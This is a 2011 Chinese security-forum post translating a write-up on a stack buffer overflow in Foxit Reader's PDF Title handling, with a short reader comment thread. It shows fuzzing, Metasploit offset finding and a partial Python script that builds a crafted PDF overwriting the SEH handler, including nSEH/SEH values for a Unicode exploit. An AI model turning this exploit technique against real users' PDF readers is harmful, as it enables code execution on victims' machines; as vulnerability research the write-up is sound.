首页
社区
课程
招聘
[翻译]Foxit阅读器栈缓冲区溢出—egghunter方法
发表于: 2011-3-30 13:22 12059

[翻译]Foxit阅读器栈缓冲区溢出—egghunter方法

2011-3-30 13:22
12059

【原文】8ddK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5M7r3I4G2K9i4c8Q4x3X3c8V1j5W2)9J5k6h3y4G2L8g2)9J5c8X3k6G2P5r3W2@1i4K6u0V1M7X3g2S2k6r3g2J5i4K6u0V1M7%4c8S2j5$3E0Q4x3X3c8G2N6X3g2J5k6X3I4G2N6#2)9J5k6r3g2^5M7r3I4G2K9i4c8Q4x3X3c8W2k6$3N6Z5N6h3&6@1k6i4u0Q4x3V1j5`.
  在以前,Adobe Reader 的0day可以说是遍地都是,自然地Foix Reader便被认为是比Adobe更为安全的选择。虽然那意味着Foxit的可利用的漏洞不如Adobe多,但是这并不等同于完全没有。
  带着探究的目的,笔者就用Microsoft SDL MiniFuzz进行了一些模糊测试。让程序读取了很多文件,当然许多都是黑帽上的白皮纸文件,然后开始不断地测试它。经过几个小时的测试,笔者惊喜的发现了一些崩溃现象,其中有一个崩溃能够导致SEH被覆写。
   
  图1
 
  而下一步,就需要定位出是什么引起了这次崩溃,因此笔者用一个文本编辑器打开了这个pdf文件。如图
  
  图2 
  
  由此可以了解到,首先,SHE被0x00E700E7(译者注:Unicode会在字节前面自动加00)覆写,由此可知这是一个Unicode利用程序;其次,程序的崩溃是因为Foxit在清理读入的标题标签的时候的失败导致的。笔者接下来的任务就是定位出来是在字符串的哪里发生了覆写,因此笔者用Metasploit随机生成了10000个字符,然后将它们粘贴进pdf文件中。
 
 

# ./pattern_create.rb 10000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab
# ./pattern_offset.rb r9As 10000
   538
 #!/usr/bin/python
preamble = "\x25\x50\x44\x46\x2D\x31\x2E\x34\x0A\x25\xE2\xE3\xCF\xD3\x0A\x38\x31\x20...
...\x30\x30\x27\x29\x2F\x54\x69\x74\x6C\x65\x28\x50\x61"
 
lead = "\x41" * 538  
nseh = "\x42\x42"
seh = "\x43\x43"
trailer = "\x44" * 9384
trailer += "\xE7\xE7"
trailer += "dookie was here: breaking your pdf reader application"
trailer += "\x29\x3E\x3E\x0A\x65\x6E\x64\x6F\x62\x6A"
 
sploit = preamble + lead + nseh + seh + trailer
filename = "foxit_title.pdf"
evil = open(filename, 'w')
evil.write(sploit)
evil.close
...
lead = "\x41" * 538
nseh = "\x41\x6d" # Walk over SEH
seh = "\x2F\x4D"  # p/p/r from app binary
...

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (8)
雪    币: 241
活跃值: (235)
能力值: ( LV13,RANK:240 )
在线值:
发帖
回帖
粉丝
2
好文~~~~
2011-3-30 15:17
0
雪    币: 437
活跃值: (130)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
3
凑个热闹
2011-3-30 15:36
0
雪    币: 678
活跃值: (101)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
4
有没有进行实战分析呢?如果没有,那就把最精华的部分给浪费了。
2011-3-30 18:05
0
雪    币: 72
活跃值: (60)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
6
不是啊。没投过稿啊~如有雷同纯属巧合
2011-3-30 22:54
0
雪    币: 72
活跃值: (60)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
7
大牛教育的是。我以后会努力做好的。
2011-4-6 13:02
0
雪    币: 4911
活跃值: (155)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
学习下哈。。。
2011-4-6 13:06
0
雪    币: 21
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
怎么就这一篇翻译的文章,啥奖励都没有~~
2011-4-7 09:42
0
雪    币: 559
活跃值: (349)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
以后再研究
2011-4-7 22:54
0
游客
登录 | 注册 方可回帖
返回